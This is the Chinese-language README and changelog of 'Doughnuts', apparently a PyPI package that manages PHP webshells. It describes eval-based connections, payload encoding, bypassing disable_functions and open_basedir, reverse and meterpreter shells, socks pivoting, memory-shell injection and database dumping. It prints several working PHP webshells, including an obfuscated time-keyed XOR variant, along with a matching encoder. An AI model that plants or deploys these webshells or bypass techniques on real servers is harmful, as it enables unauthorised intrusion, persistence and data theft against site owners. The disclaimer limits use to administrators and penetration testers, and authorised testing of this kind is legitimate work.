Package: doughnuts
Doughnuts一个基于Python3.6+的PHPwebshell管理器使用文档终于迎来了新的使用文档！文档中许多内容已经过期，请以新版为准详细使用文档请前往此页面进行查看。特征支持连接,记录,管理webshell,方便下一次连接基于eval的连接,支持GET,POST,COOKIE,HEADER四种连接方式请求与响应伪装支持编码payload(已内置base64,str_rot13,hex,doughnuts四种编码,可以通过添加encode文件夹中的py文件进行扩展),以实现连接带有解码的webshell支持绕过open_basedir支持多种方式绕过disable_functions自动识别php7-backtracephp7-gcphp7-jsonphp7-splDoublyLinkedListLD_PRELOADFFICOMimap_openMYSQL-UDFfpm(支持四种攻击方式，sock和端口的攻击方式)apache-mod-cgiiconvFFI-php_execphp7-reflectionPropertyuser_filter核心功能获取网站,系统,进程信息输出disbale_functions寻找可写的PHP文件(以树状结构显示)寻找配置文件(文件名中包含cfg/config/db/database) 也可以通过修改代码来支持寻找更多的文件(以树状结构显示)执行自定义的php代码获取一个临时的非完全交互式shell和webshell正向/反弹shell可以支持弹meterpreter的shell(php代码实现)(仅限双方均为*unix)获取完全交互式的反弹shell读/写/上传/下载/删除/搜索文件,目录打包,分段文件上传/下载数据库管理,临时的sql-shell,数据dump,分段dump端口扫描出网检测集成neo-regeorg，一键开启socks5服务器内网网页文本式浏览代理，可自定义请求方法和数据检测suid文件并给出提权建议 / 检测杀毒软件易于扩展依赖Python3.6+Python-requestsPython-pysocksPython-coloramaPython-prettytable安装/运行方法请在3.2版本之前运行过python3 -m doughnuts.install安装的朋友在更新3.2版本之后重新执行此命令!使用pip安装# 安装python3-mpipinstalldoughnuts--user-ihttps://pypi.org/simple/# (windows)添加一个bat文件到python根目录下# (*unix)添加一个可执行文件到/usr/local/bin下# 安装启动器,以方便调用python3-mdoughnuts.install# 运行doughnuts# 或python3-mdoughnuts# enjoy it!通过poetry安装pyton3-mpipinstallpoetry# 或其他方法安装python-poetrygitclonehttps://github.com/WAY29/Doughnuts.gitcdDoughnuts# debian/ubuntu系统需要运行此命令apt-getinstallpython3-venv# 安装poetryinstall# 运行poetryrunpython3Doughnuts/doughnuts.py# 应该对所有系统生效# enjoy it!直接安装# 安装PYTHON 3.6+gitclonehttps://github.com/WAY29/Doughnuts.gitcdDoughnuts/doughnuts
pip3install-rrequirements.txt或pip3installrequestspysockscoloramaprettytabletqdm# (windows)添加一个bat文件到python根目录下# (*unix)添加一个可执行文件到/usr/local/bin下# 安装启动器,以方便调用python3install.py# 运行doughnuts# 或python3doughnuts.py# enjoy it!使用docker# 启动一个doughnuts容器dockerrun--namedoughnuts-itdlonglone/doughnuts# 执行doughnuts容器的bashdockerexec-itdoughnutsbash# 在容器中运行doughnuts,这样你可以存储webshell记录等doughnuts# 或者直接执行doughnutsdockerrun--rm-itlonglone/doughnuts:cli使用例子由于windows原因，在windows命令行连接下不支持&符号连接参数。
尽量将额外参数包裹引号进行传递，且逐一拆分。
好的习惯:"data:a=123" "data:b=456"
坏的习惯:"data:a=123&b=456" (在windows命令行下会连接失败)普通webshell:最平凡的webshell://test1.php<?phperror_reporting(0);eval($_POST['2333']);?>那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:connect http://localhost/test1.php POST 2333带解码的webshell://test2.php<?phperror_reporting(0);eval(str_rot13(base64_decode($_REQUEST['2333'])));?>那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:connect http://localhost/test2.php POST 2333 rot13 base64需要额外参数与解码的webshell://test3.php<?phpif(@md5($_POST['a'])=="202cb962ac59075b964b07152d234b70"){// a=123@eval(base64_decode($_POST['2333']));}那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:connect http://localhost/test.php POST 2333 base64 "data:a=123"生成webshell:运行doughnuts执行generate a.php POST pass salt 1生成webshell,名字为a.php上传a.php 根据提示执行connect {木马url} POST pass doughnuts-salt连接webshell自定义编码器进入doughnuts/encode目录新建/拷贝一个py文件,起一个名字,以time.py为例文件中只需要写一个run函数,类似于fromlibs.configimportalias@alias(True)defrun(data:str):cipher=datareturncipher参数解释: data是传输的数据,为字符串,cipher为传出的数据,也应该为字符串重启doughnuts即可使用se/show_encoders命令查看自定义的编码器,连接时使用connect URL 请求方法 密码 编码器名字即可使用自定义编码器一个例子,以时间为秘钥的编码器fromlibs.configimportaliasfromhashlibimportmd5frombase64importb64encodeimporttime@alias(True)defrun(data:str):format_time=time.strftime("%Y-%m-%d%H:%M",time.localtime())key=md5(format_time.encode()).hexdigest().encode()data=data.encode()cipher=bytes(data[i]^key[i%32]foriinrange(len(data)))cipher=b64encode(cipher).decode()returncipher对应的php webshell<?phpclassCOMI{public$c='';function__destruct(){returneval(substr($this->c,0));}}date_default_timezone_set("PRC");$comi=newCOMI();$password=&$password1;$password1=$_REQUEST['x'];$post=&$password;$post=base64_decode($post);$key=md5(date("Y-m-d H:i",time()));for($i=0;$i<strlen($post);$i++){$post[$i]=$post[$i]^$key[$i%32];}$lnng1=&$lnng;$lnng=$post;$lnng2=$lnng1;@$comi->c=substr($lnng2,0);?>自定义webshell模板进入doughnuts/webshell_plugins目录新建/拷贝一个py文件,起一个名字,以test.py为例文件中只需要写一个get_php函数,类似于defget_php(keyword:int=4,passwd:str="",salt:str=""):...各个参数解释keyword是一个数字对应一种请求方式,分别对应: GET->3 POST->4 COOKIE->5 HEADER->6passwd是连接webshell的密码salt是用于加密算法的盐,你可以不需要使用这个参数,但是函数定义里必须存在重启doughnuts或者在doughnuts使用reload generate重新加载generate命令,即可使用doughnuts生成自定义webshell参考https://github.com/WangYihang/Webshell-Sniperhttps://github.com/epinna/weevely3更新日志4.24.04.24.0新增功能memshell: 通过交互式操作注入php内存马，仅作用于fastcgi,详情请看这里优化优化bdf-fpm的逻辑，修复一些bug4.23.04.23.0新增功能bdf-php-concat_function: 对应数字17，详情请看这里4.23.1修复bugconnect: 某些webshell无法连接的问题 (出现 IndexError)cat: 在使用DOMDocument读取文件时没有base64解码的错误portscan: 无法使用的问题upload: 使用file_put_contents上传文件时错误的问题4.23.2修复bug在linux下调用vi编辑器会导致无法写入的问题webshell/db_shell/shell 命令现在会根据switch命令切换原始/补全模式4.23.3修复bugupload无法使用的bug在艰难环境下连接webshell的优化4.22.04.22.0新增功能extension查看当前php所装扩展优化功能去除安装脚本中部分多余代码用随机字符标识替代原先固定标识符的webshell是否存活检测现在输入完整命令后按方向键(→)或tab显示候选参数现在会根据自带的base64函数是否可用自动补上base64函数头cat现在会根据情况自动选择读取文件方式write现在会根据情况自动选择写入文件方式重构代码在libs目录中加上如functions/[插件目录]/[插件函数]形式，便于插件可读性的提高对myapp.py中大部分php代码进行包装转移对connect.py中部分php代码进行包装转移对webshell_plugins内大部分插件的php代码进行包装转移修复bugreadline:在自动补全参数时有可能会重复补全命令的错误无法对general中命令参数进行自动补全的错误有关debug代码部分的错误更正部分文本错误，去除部分多余代码4.21.04.21.0新增功能bdf-shellshock: 对应数字16，Bash破壳（CVE-2014-6271)漏洞修复bugbdf-fpm:
在某些情况下误判目标并不是使用fpm启动，现在解除这个限制，由使用者自己决定4.20.04.20.0新增特性在极端环境下连接webshell新增功能bdf: 12-iconv 增加bypass函数4.19.04.19.0新增功能bdf: 新增user_filter模式，适用于7.0-8.0所有版本4.18.04.18.0修复bugproxy: 可能失效的问题db_shell: 命令重复执行优化功能upload使用$_FILES上传失败时显示失败原因sockswindows下http path的默认值使用/替换\新增功能db_exec启动编辑器执行任意sql语句4.18.1修复bugdb_mdump重试无效的问题线程不安全导致dump的数据不全或重复的问题数据为空时与数据类型不匹配的问题,将''替换为null4.18.2修复bugmdownload重试后无论如何都显示下载失败优化功能使用自定义的函数获取php配置选项的值，而非ini_getgetenv使用自定义的函数获取php配置选项的值，而非ini_getmdownload添加hash验证增加提示使用临时文件而非内存存储chunk请求: 添加重试次数24.18.3修复bugmdownload,download在下载时会创建文件夹write写入文件名错误edit编辑文件时为空README添加shields4.174.17.0添加说明bdf: 补充4.15新增的fpm-ftp模式的说明新增功能bdf-fpm:(实验性功能，不稳定)现在会询问是否在所有请求中都攻击fpm以获取结果，可以用于绕过open_basedir等限制，暂不支持ftp模式system:若命令以&结尾，则会将其起新线程挂在后端执行4.164.16.0优化功能socks支持代理选项,支持如http://127.0.0.1:1080/或socks5://127.0.0.1:1080/的代理支持在fsockopen被禁用时使用pfsockopen更改说明,只支持5.4.0及以上版本新增功能phpinfo调用默认浏览器显示phpinfo信息修复bugbdf LD_PRELOAD模式 mb_send_mail无法成功bypass修复某些命令会输出debug消息的bugfwpf无法生效connect时额外参数有多个:或者=号时程序异常download，mdownload:指定文件保存名时认为是目录的bug4.16.1优化功能删除generate的非交互输出修改reverse的文档，windows-php不建议使用connect:假如ini_get被禁用也能够链接bdf-10-fpmhttp_sock: 支持stream_socket_client函数作为备用ftp: 新增ftp模式，通过在目标机器构建一个虚假的ftp服务器以实现ssrf攻击fpm4.154.15.0修改别名
socks -> old_socks新增功能bdf增加FFI-php_exec, php7-reflectionProperty模式outnetwork快速检查目标机器是否能出网socks启动一个socks服务器,上传并连接远程的webshell管道以实现内网穿透的功能(power by neo-regeorg)修改输出
write修复bug无法使用参数短别名requirements.txt中的urllib3版本修改为1.26.54.15.1修改bugps命令在无法读取/proc目录时没有输出报错execute,write,edit无法使用自定义编辑器或报错修改输出touch优化功能execute,write,edit现在编辑一个临时的php文件而非无后缀文件添加参数edit_args,用于提供编辑器的参数,例如execute code '"--wait"'当使用code(即vscode)时会自动添加--wait参数4.144.14.0新增功能bdf增加iconv模式修复bugedit, uploadbdf apache-mod-cgi模式 在切换目录之后无法执行系统命令,现在固定在webshell目录中上传.htaccess和cgi脚本4.14.14.14.2修复bug在Python3.9中报错
-bindshell, remp, reverse, socksgululingbo模板生成的webshell没有php头log命令默认参数时提示File path is invalid4.14.3修复bug在windows下连接使用额外参数时错误ls显示带有空格文件名的文件的时候显示不全删除特性不再能从外部使用connect命令4.134.13.0新增功能bdf增加apache-mod-cgi模式4.13.1修复bugiconv.c源码4.124.12.0新增功能bdf修改ld_preload部分,重构代码,支持x86 linux为udf部分切割代码reverse修改默认反弹类型,默认会根据目标系统选择powershell/bash添加bash_exec类型,使用exec和管道符实现search添加别名find, 最后结果以绝对路径显示remp支持pfsockopen, 删除bash类型的反弹,将其移到reverse命令upload新增参数upload_type,支持file_put_contents直接写入内容,同时优化输出修复bug
upload添加注释
bdf, reverse, av, checkvm修改帮助文档
bdf, reverse, bobd, search, upload重构代码
search, bdf, upload修改分类verbose general->COMMON4.114.11.0修改命令bdf命令 重写fpm部分,使用antsword的bypass_disable_functions扩展现在支持三种attack_type: gopher,sock,http_sockgopher: 使用curl扩展与gopher协议攻击fpm端口sock: 使用stream_socket_client攻击fpm-sockhttp_sock: 使用fsockopen,pfsockopen连接fpm端口4.11.1修改fpm的sock和http_sock攻击方式,防止整个doughnuts卡死4.11.2修复无法使用python3 -m doughnuts启动doughnuts的bug4.104.10.0修改命令touch命令 支持windows,不再调用系统命令去实现4.10.1-3(废弃版本)4.10.4添加缺少的依赖到requirements.txt: six4.10.5添加docker并上传到dockerhub,可以使用docker命令一键起doughnuts4.94.9.0修改核心添加custom_plugins目录,用于存放用户自己编写的插件添加config.ini文件,用于配置相关参数4.9.1修复在pypi版本与github版本不一致的问题4.9.24.9.3, 4.9.4修复在不存在自定义命令时连接webshell后帮助菜单无法显示的bug4.84.8.0修改命令generate命令 现在支持在自定义webshell模板,在doughnuts/webshell_plugins下可以添加自己的模板,详情请查看上面的自定义webshell模板4.8.1优化代码结构优化doughnuts加密算法修复enrecv不存在的问题4.74.7.0修改命令remp命令 修改php模式的payload,添加bash和python的payloadbdf命令 php-fpm模式(https://xz.aliyun.com/t/5598)4.64.6.0添加命令verbose命令 用于开启/关闭提示符的详细信息显示4.5添加命令enrecv命令 用于随时开启/关闭回显加密remp命令 可以简易的弹一个meterpreter的shell修复bug修复回显加密在弹shell时可能会出现解码错误的问题4.5.1现在使用随机字符作为连接是否成功的判断以防特征检测4.5.2添加命令mkdir命令 创建文件夹rmdir命令 删除空文件夹4.4修改核心使用算法将回显加密4.4.1修复bug回显加密在php5会出错4.4.2修改命令touch命令 提示修改ps命令    提示修改,只允许在*unix目标上运行修复bug曾导致在linux下调用vi编辑器失败4.3修改命令portscan去除短名ps, 修改显示结果,变得更加可读bobd支持在ini_set被禁用时使用ini_alterbdf php7-backtrace 添加在Exception类被禁用后使用Error类添加命令copy命令 用于复制文件ps命令 类似于linux下的ps命令,用于读取系统进程信息修复bug在back返回主菜单后清理mysql连接记录4.2修改结构myapp尝试丢弃webshell执行代码之前的输出添加命令mdownload命令 用于分块下载文件修改命令mupload命令 完全重写,真正意义上的分块上传,修复mupload上传失败不会自动清理临时文件的问题修复bug修复mdownload, mupload没有ls后补全的问题新增依赖tqdm4.2.1修改命令db_mdump命令 优化,去除key键,去除表结构中的Not NULL, 使用mysql_real_escape_string转义4.1修改结构新建插件时不再需要更改helpmenu.py4.0修改命令修复当使用mysqli扩展链接mysql数据库时db_info显示的问题修复当使用pdo扩展链接数据库时无法db_dump的问题修复某些文本错误db_dump命令不再目标主机上写入文件而是直接下载到本地,修改参数{web_file_path}->{local_path}添加参数 {table} 用于指定数据表,默认存储文件名为{database}.{table}.sqldump命令修复一个bug曾导致路径拼接时使用\转义了外部php的引号导致的报错添加命令db_mdump命令 用于分块dump数据库4.0.1修复了db_mdump导出的数据库encoding错误导致sql文件无法导入的问题4.0.2修复了db_mdump数据重复的问题4.0.3删除测试输出,删除db_mdump中DROP DATABASE语句免责声明本项目仅供网站管理人员与渗透测试人员学习与交流,任何使用本项目进行的一切未授权攻击行为与本人无关.